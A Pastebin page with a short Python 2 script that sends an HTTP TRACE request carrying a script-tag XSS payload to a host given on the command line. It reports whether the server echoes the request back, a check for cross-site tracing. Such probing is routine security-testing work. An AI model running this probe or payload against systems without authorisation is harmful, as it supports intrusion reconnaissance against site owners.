Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # try_trace.py
- # more at http://hauntit.blogspot.com
- #
- import httplib
- import sys
- import string
- url = sys.argv[1]
- conn = httplib.HTTPConnection(url)
- #conn.request('TRACE','/w0rkin')
- conn.request('TRACE','/<script>alert(/w0rkin/)</script>')
- resp = conn.getresponse()
- page_response = resp.read()
- #print page_response
- print
- print 'try TRACE for: ', url
- print 'Status: ',resp.status, resp.reason
- full_answer = resp.getheaders()
- print '\nWhat we have here:\n'#, full_answer
- print '-----------------------------------------------'
- i=0
- if resp.status == 200:
- while i < len(full_answer):
- print ' with value: '.join(full_answer[i])
- i=i+1
- print '-----------------------------------------------'
- print 'Response:\n', page_response
- else:
- print 'No TRACE, or other problem :C' # try manually or add debug here
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement